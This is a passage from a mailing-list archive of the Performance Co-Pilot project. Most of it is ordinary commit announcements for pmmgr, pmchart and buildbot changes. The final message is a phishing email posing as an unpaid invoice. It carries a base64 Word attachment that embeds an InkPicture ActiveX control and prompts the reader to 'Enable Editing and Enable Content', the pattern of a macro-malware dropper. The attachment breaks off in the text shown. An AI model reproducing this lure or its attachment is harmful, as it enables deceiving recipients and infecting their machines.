++++++++-- src/pmmgr/pmmgr.cxx | 13 ++++++++++--- 2 files changed, 18 insertions(+), 5 deletions(-) From brolley@redhat.com Thu Oct 6 10:18:16 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 547D07CA0 for ; Thu, 6 Oct 2016 10:18:16 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0783E304039 for ; Thu, 6 Oct 2016 08:18:12 -0700 (PDT) X-ASG-Debug-ID: 1475767088-0bf8156712291f80001-S8gJnT Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id OclNGhjs28VmIdxG (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 06 Oct 2016 08:18:08 -0700 (PDT) X-Barracuda-Envelope-From: brolley@redhat.com X-Barracuda-Effective-Source-IP: mx1.redhat.com[209.132.183.28] X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.redhat.com (Postfix) with ESMTPS id 5EA519E620 for ; Thu, 6 Oct 2016 15:18:08 +0000 (UTC) Received: from [10.10.56.102] (vpn-56-102.rdu2.redhat.com [10.10.56.102]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u96FI7Pk009351 for ; Thu, 6 Oct 2016 11:18:07 -0400 Message-ID: <57F66C24.9060701@redhat.com> Date: Thu, 06 Oct 2016 11:22:12 -0400 From: Dave Brolley User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.3.0 MIME-Version: 1.0 To: PCP Mailing List Subject: PCP Updates: fche pmmgr Content-Type: text/plain; charset=utf-8; format=flowed X-ASG-Orig-Subj: PCP Updates: fche pmmgr Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.39]); Thu, 06 Oct 2016 15:18:08 +0000 (UTC) X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1475767088 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 534 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Changes committed to git://git.pcp.io/pcp master Frank Ch. Eigler (3): pmlogconf: suppress $PCP_DERIVED_CONFIG processing pmmgr: tolerate configuration lines without \n terminator qa pmmgr/669: test ignored subsequent lines in single-line-config files man/man1/pmlogconf.1 | 12 +++++++++--- qa/669 | 14 ++++++++++---- src/pmlogconf/pmlogconf.sh | 5 +++++ src/pmmgr/pmmgr.cxx | 13 ++++++++++--- 4 files changed, 34 insertions(+), 10 deletions(-) From brolley@redhat.com Thu Oct 6 12:51:04 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BB8DD7CA0 for ; Thu, 6 Oct 2016 12:51:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8013B304062 for ; Thu, 6 Oct 2016 10:51:01 -0700 (PDT) X-ASG-Debug-ID: 1475776256-0bf81567112ba6d0001-S8gJnT Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ivHIEEVJO4olNEvK (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 06 Oct 2016 10:50:57 -0700 (PDT) X-Barracuda-Envelope-From: brolley@redhat.com X-Barracuda-Effective-Source-IP: mx1.redhat.com[209.132.183.28] X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.redhat.com (Postfix) with ESMTPS id B167CA4A1F for ; Thu, 6 Oct 2016 17:50:56 +0000 (UTC) Received: from [10.10.56.102] (vpn-56-102.rdu2.redhat.com [10.10.56.102]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u96Hosi5030185 for ; Thu, 6 Oct 2016 13:50:56 -0400 Message-ID: <57F68FF4.4080809@redhat.com> Date: Thu, 06 Oct 2016 13:55:00 -0400 From: Dave Brolley User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.3.0 MIME-Version: 1.0 To: PCP Mailing List Subject: PCP Updates: RHBZ 1348349: pmchart(1): Table of metrics, instances and values Content-Type: text/plain; charset=utf-8; format=flowed X-ASG-Orig-Subj: PCP Updates: RHBZ 1348349: pmchart(1): Table of metrics, instances and values Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.25]); Thu, 06 Oct 2016 17:50:56 +0000 (UTC) X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1475776257 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1310 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This is my first Qt creation using the qt designer tool. A review of all aspects is definitely warranted. Dave ------------------------------------------------------------------------------------------------ Changes committed to git://git.pcp.io/brolley/pcp qt Dave Brolley (1): RHBZ 1348349: pmchart(1): Table of metrics, instances and values. src/pmchart/chart.cpp | 113 ++++++++++++++++++++++++++++++++++++++++++ src/pmchart/chart.h | 17 ++++++ src/pmchart/metricdetails.cpp | 35 +++++++++++++ src/pmchart/metricdetails.h | 45 ++++++++++++++++ src/pmchart/metricdetails.ui | 59 +++++++++++++++++++++ src/pmchart/pmchart.pro | 7 +- 6 files changed, 273 insertions(+), 3 deletions(-) Details ... commit 5e4a3a8e13750cd454eb5d5580d997a0559ed612 Author: Dave Brolley Date: Thu Oct 6 13:47:42 2016 -0400 RHBZ 1348349: pmchart(1): Table of metrics, instances and values. Left clicking or dragging the mouse across the chart area now produces a window containing a chart showing the metrics, instances and values at the poin(s) closes to the mouse pointer. The window pops up and remainins up until closed. With each new selection, the values are updated. From lberk@redhat.com Thu Oct 6 15:40:14 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A6F4B7CA0 for ; Thu, 6 Oct 2016 15:40:14 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2A11EAC003 for ; Thu, 6 Oct 2016 13:40:14 -0700 (PDT) X-ASG-Debug-ID: 1475786413-0bf81567112cf620001-S8gJnT Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id hnqf1qsiZNVxEgGF (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 06 Oct 2016 13:40:13 -0700 (PDT) X-Barracuda-Envelope-From: lberk@redhat.com X-Barracuda-Effective-Source-IP: mx1.redhat.com[209.132.183.28] X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.redhat.com (Postfix) with ESMTPS id 02F6D3B707 for ; Thu, 6 Oct 2016 20:40:13 +0000 (UTC) Received: from toium (unused-10-15-17-235.yyz.redhat.com [10.15.17.235]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u96KeCYS008286 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 6 Oct 2016 16:40:12 -0400 From: Lukas Berk To: pcp@oss.sgi.com Subject: pcp updates: Buildbot work Date: Thu, 06 Oct 2016 16:40:11 -0400 X-ASG-Orig-Subj: pcp updates: Buildbot work Message-ID: <87int5us7o.fsf@redhat.com> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/25.1 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.30]); Thu, 06 Oct 2016 20:40:13 +0000 (UTC) X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1475786413 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1414 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi, I pushed this to master so some of the fixes would get picked up by the buildbot immediately (such as the dockerfile fixes). Changes committed to git://git.pcp.io/pcp/pcp.git master Lukas Berk (3): Update dockerfile with proper rpm directory Remove intermediate image stages upon failure Correct properties usage in buildbot config qa/buildbot/Dockerfile.centos7.qa | 3 ++- qa/buildbot/master.cfg | 36 +++++++++++++++++++++--------------- 2 files changed, 23 insertions(+), 16 deletions(-) Details ... commit e34fcd70ea3d32018d220e002198fe0d303f3ee6 Author: Lukas Berk Date: Thu Oct 6 16:34:51 2016 -0400 Correct properties usage in buildbot config We were passing around the wrong configs and not cleaning up after ourselves for some images Also update the centos7 image to allow for sudo usage (required for the testsuite) commit a6d9acc2f4dee1041cc7b621d046559c20b1602c Author: Lukas Berk Date: Thu Oct 6 10:21:11 2016 -0400 Remove intermediate image stages upon failure Leave the campsite as clean as you found it... commit 3ade44e1dd6005d18322415bad612aa0aed3856e Author: Lukas Berk Date: Thu Oct 6 10:10:18 2016 -0400 Update dockerfile with proper rpm directory Caused build fails in the buildbot From lennartpeters@t-online.de Thu Oct 6 20:25:27 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE, LOCALPART_IN_SUBJECT,LOTS_OF_MONEY autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 925457CA0 for ; Thu, 6 Oct 2016 20:25:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 211DD304048 for ; Thu, 6 Oct 2016 18:25:24 -0700 (PDT) X-ASG-Debug-ID: 1475803519-0bf815670f2f4600001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-69.servers.netregistry.net [202.124.241.69]) by cuda.sgi.com with ESMTP id i2FQXNbDKVkfqKvL (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Thu, 06 Oct 2016 18:25:20 -0700 (PDT) X-Barracuda-Envelope-From: lennartpeters@t-online.de X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.69 Received: from mailout11.t-online.de ([194.25.134.85]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1bsJuT-0006tl-MB for ; Fri, 07 Oct 2016 12:25:18 +1100 Received: from fwd10.aul.t-online.de (fwd10.aul.t-online.de [172.20.26.152]) by mailout11.t-online.de (Postfix) with SMTP id EAFCB4257A86 for ; Fri, 7 Oct 2016 03:25:05 +0200 (CEST) X-Barracuda-Effective-Source-IP: mailout11.t-online.de[194.25.134.85] X-Barracuda-Apparent-Source-IP: 194.25.134.85 X-Barracuda-RBL-IP: 194.25.134.85 X-Barracuda-BBL-IP: 194.25.134.85 Received: from [127.0.0.1] (SyAL8aZX8h4arINOEO4DPpV+kX8cxGeH-tpP7GZ7BmlQepVdn+-ZusNRpBhqhHEZeK@[188.17.243.245]) by fwd10.t-online.de with (TLSv1:DHE-RSA-AES256-SHA encrypted) esmtp id 1bsJuC-1vGpEq0; Fri, 7 Oct 2016 03:24:56 +0200 From: "Hughes, Liam" Content-Type: multipart/mixed; boundary="Apple-Mail-FA1454F5-9F62-1BFF-C8FA-87DD7907F021" Mime-Version: 1.0 (1.0) Subject: pcp, Your Invoice from Clovar Photography is attached 016433 Message-Id: <8E1187E2-ABAF-136A-297C-9E65198A1BF0@t-online.de> X-ASG-Orig-Subj: pcp, Your Invoice from Clovar Photography is attached 016433 Date: Thu, 6 Oct 2016 18:24:51 -0700 To: pcp@kenj.com.au X-Mailer: iPhone Mail (13E238) X-ID: SyAL8aZX8h4arINOEO4DPpV+kX8cxGeH-tpP7GZ7BmlQepVdn+-ZusNRpBhqhHEZeK X-TOI-MSGID: 7b8ce946-5189-442b-8511-88c75c67b7f5 X-Barracuda-Connect: smtp-outgoing-69.servers.netregistry.net[202.124.241.69] X-Barracuda-Start-Time: 1475803520 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1489 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.00 X-Barracuda-Spam-Status: No, SCORE=1.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, HTML_MESSAGE, LOCALPART_IN_SUBJECT, LOCALPART_IN_SUBJECT_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33530 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 LOCALPART_IN_SUBJECT Local part of To: address appears in Subject 0.00 HTML_MESSAGE BODY: HTML included in message 1.00 LOCALPART_IN_SUBJECT_2 Local part of To: address appears in Subject This is a multi-part message in MIME format --Apple-Mail-FA1454F5-9F62-1BFF-C8FA-87DD7907F021 Content-Type: multipart/alternative; boundary="Apple-Mail-D0D346F8-6F30-92B7-9D82-8CA84B0A2951" --Apple-Mail-D0D346F8-6F30-92B7-9D82-8CA84B0A2951 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Dear pcp,We would like to begin by saying Thank you for your loyalty! = Your latest is hereby attached.Best, Hughes, Liam Nasaa Group of companies Pty Ltd | (08) 3028 5418---------------------= ---------------------------------- Account Summary ------------------------------------------------------- Invoice Reference: 00160316 Date of issuance: 24.September 2016. Payee: Nasaa Group of companies Pty Ltd Remaining Amount: A$ 1056.07 Full invoice is enclosed as a Word Docum= ent.------------------------------------------------------- --Apple-Mail-D0D346F8-6F30-92B7-9D82-8CA84B0A2951 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

Dear pcp,

=20

We would like to begin by saying Thank you for your loyalty! Yo= ur latest is hereby attached.

=20

Best,
Hughes, Liam
Nasaa Group of companies Pty Ltd | (08) 3028 5418

=20

----------= ---------------------------------------------
Account Summary
-------------------------------------------------------
Invoice Reference: 00160316
Date of issuance: 24.September 2016.
Payee: Nasaa Group of companies Pty Ltd
Remaining Amount: A$ 1056.07  

=20

Full invoi= ce is enclosed as a Word Document.

=20

----------= ---------------------------------------------

--Apple-Mail-D0D346F8-6F30-92B7-9D82-8CA84B0A2951-- --Apple-Mail-FA1454F5-9F62-1BFF-C8FA-87DD7907F021 Content-Type: application/msword; name="pcp.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="pcp.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAACAAAAPQAAAAAAAAAA EAAAPwAAAAIAAAD+////AAAAADwAAAB9AAAA//////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAW4AJBAAA+BK/AAAAAAAAEAAAAAAACAAA2AgAAA4AYmpiaqz6rPoAAAAAAAAAAAAAAAAAAAAA AAAJBBYAmWcAAM6QAQDOkAEASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjwAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAAJIFAAAAAAAAkgUAANUS AAAAAAAA1RIAAAAAAABtEwAAAAAAAG0TAAAAAAAAbRMAABQAAAAAAAAAAAAAAP////8AAAAAgRMA AAAAAACBEwAAAAAAAIETAAAAAAAAgRMAABQAAACVEwAAFAAAAIETAAAAAAAAl1kAAHIBAACpEwAA FgAAAL8TAAAAAAAAvxMAAAAAAAC/EwAAAAAAANcTAAAAAAAA21MAAAAAAADbUwAAAAAAANtTAAAA AAAAvVQAAH8EAAA8WQAAAAAAADxZAAAAAAAAPFkAAAAAAAA8WQAAAAAAADxZAAAAAAAAPFkAAAAA AAAJWwAAogIAAKtdAAAqAAAAPFkAABUAAAAAAAAAAAAAAAAAAAAAAAAAbRMAAAAAAADbUwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAjUwAAuAAAANtTAAAAAAAA21MAAAAAAADbUwAAAAAAADxZAAAAAAAA AAAAAAAAAADVEgAAAAAAANUSAAAAAAAAvxMAAAAAAAAAAAAAAAAAANcTAABMPwAAUVkAABYAAABV VAAAAAAAAFVUAAAAAAAAVVQAAAAAAADbUwAARgAAANUSAABsAAAAvxMAAAAAAABtEwAAAAAAANcT AAAAAAAAvVQAAAAAAAAAAAAAAAAAAFVUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA21MAAAAAAAC9VAAAAAAAAAAAAAAAAAAAVVQAAAAAAAAAAAAA AAAAAFVUAAAAAAAAQRMAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVQAAAAAAAC/EwAAGAAAAP////8AAAAAYJsbti8g 0gEAAAAAAAAAAIETAAAAAAAAIVQAAAAAAABVVAAAAAAAAAAAAAAAAAAAqVQAABQAAABnWQAAMAAA AJdZAAAAAAAAVVQAAAAAAADVXQAAAAAAACFUAAA0AAAA1V0AAAAAAABVVAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABV VAAAFAAAANVdAAAAAAAAAAAAAAAAAABtEwAAAAAAAGlUAABAAAAA21MAAAAAAADbUwAAAAAAAFVU AAAAAAAA21MAAAAAAADbUwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA21MA AAAAAADbUwAAAAAAANtTAAAAAAAAPFkAAAAAAAA8WQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAVVQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANtTAAAA AAAA21MAAAAAAADbUwAAAAAAAJdZAAAAAAAA21MAAAAAAADbUwAAAAAAANtTAAAAAAAA21MAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAANVdAAAAAAAA21MAAAAAAADb UwAAAAAAANtTAAAAAAAA21MAAAAAAADbUwAAAAAAANtTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADbUwAAAAAAANtTAAAAAAAA21MA AAAAAACSBQAACQwAAJsRAAA6AQAABQASAQAACQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgICAgN CA0IDQ0NDRMgQ09OVFJPTCBtc2lua2F1dC5JbmtQaWN0dXJlLjEgXHMgFAEVDQ0NDQ0NDQ0NDQ0N DQ0NDQ0NDQ0NDQ0NDVRoaXMgZG9jdW1lbnQgaXMgcHJvdGVjdGVkIGFnYWluc3QgdW5hdXRob3Jp emVkIGFjY2Vzcy4gRW5hYmxlIEVkaXRpbmcgYW5kIEVuYWJsZSBDb250ZW50IHRvIGxvYWQgY29u dGVudC4NDUb8ciBVbnRlcm5laG1lbg0NRm9yIEJ1c2luZXNzDQ0NDQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAEI AAAECAAABQgAAAYIAAAHCAAACAgAAAkIAAAMCAAADQgAAC8IAAAwCAAAMggAADQIAABICAAASQgA AEoIAABLCAAAgwgAAJEIAACWCAAApAgAALUIAAC2CAAAtwgAAPLk4PLg8uDc1NDF1NzBq5eAaVBp UGlB4AAAAAAAABwVaJtrYQAWaJtrYQBDSh4AYUoeAG1IBwhzSAcIADAVaOYREQAWaMQlIgA1CIFC KghDSh4AT0oDAFFKAwBhSh4AbUgHCHBo////AHNIBwgALRVoxCUiABZoxCUiAEIqCENKHgBPSgMA UUoDAGFKHgBtSAcIcGj///8Ac0gHCC0VaMQlIgAWaOYREQBCKghDSgYAT0oDAFFKAwBhSgYAbUgH CHBo////AHNIBwgnFmjEJSIAQioIQ0oGAE9KAwBRSgMAYUoGAG1IBwhwaP///wBzSAcIKxZom2th AEIqCENKHgBPSgIAUUoCAF5KAgBhSh4AbUgHCHBo////AHNIBwgGFmjmEREAABUDaqkonlsKCAEW aEYgYgBVCAFWCAEGFmhGIGIAAA8DagAAAAAWaEYgYgBVCAEGFmgvKYwAAAYWaJtrYQAAGgNqAAAA ABZom2thAFUIAW1IAARuSAAEdQgBABoDagAAAAAWaMQlIgBVCAFtSAAEbkgABHUIARgACAAABQgA AAcIAAAJCAAACggAAAsIAAAMCAAAMwgAADQIAAA1CAAANggAADcIAAA4CAAAOQgAADoIAAA7CAAA PAgAAD0IAAA+CAAAPwgAAEAIAABBCAAAQggAAEMIAABECAAARQgAAEYIAABHCAAASAgAAPoAAAAA AAAAAAAAAAD6AAAAAAAAAAAAAAAA+gAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD4AAAAAAAAAAAA AAAA+AAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAPgA AAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD4AAAAAAAA AAAAAAAA+AAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAA APgAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD4AAAA AAAAAAAAAAAA+AAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAD4AAAAAAAAAAAAAAAA+AAAAAAAAAAA AAAAAPgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAEAABnZJtrYQAAHEgIAABJCAAA SggAAEsIAAC2CAAAtwgAAMcIAADICAAA1QgAANYIAADXCAAA2AgAAPAAAAAAAAAAAAAAAADhAAAA AAAAAAAAAAAA4QAAAAAAAAAAAAAAANAAAAAAAAAAAAAAAADOAAAAAAAAAAAAAAAAxgAAAAAAAAAA AAAAAM4AAAAAAAAAAAAAAAC+AAAAAAAAAAAAAAAAzgAAAAAAAAAAAAAAAM4AAAAAAAAAAAAAAADO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAMkAmEkAmdkxCUiAAAHAAADJAFhJAFn ZJtrYQAAAQAAABAAAA3GBQABMgoADoSMAQ+EVhNdhIwBXoRWE2dkxCUiAAAOAAAOhKMCD4RWExOk eABdhKMCXoRWE2dkm2thAAAOAAAOhLICD4TmChSkAABdhLICXoTmCmdkm2thAAALtwgAAMcIAADI CAAA1AgAANUIAADWCAAA1wgAANgIAADs6Njs6NTQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAGFmjmEREAAAYWaF1wqgAAHxZoXXCqAEIqCENKGgBPSgMAUUoDAGFKGgBwaP///wAG Fmiba2EAACUVaJtrYQAWaJtrYQBCKghDShoAT0oDAFFKAwBhShoAcGj///8AAAcsADGQaAEfsNAv ILDgPSGwoAUisKAFI5CgBSSQoAUlsAAAF7DQAhiw0AIMkNACAG4e8AVBAAChEN/z00xj+sqJYsEO 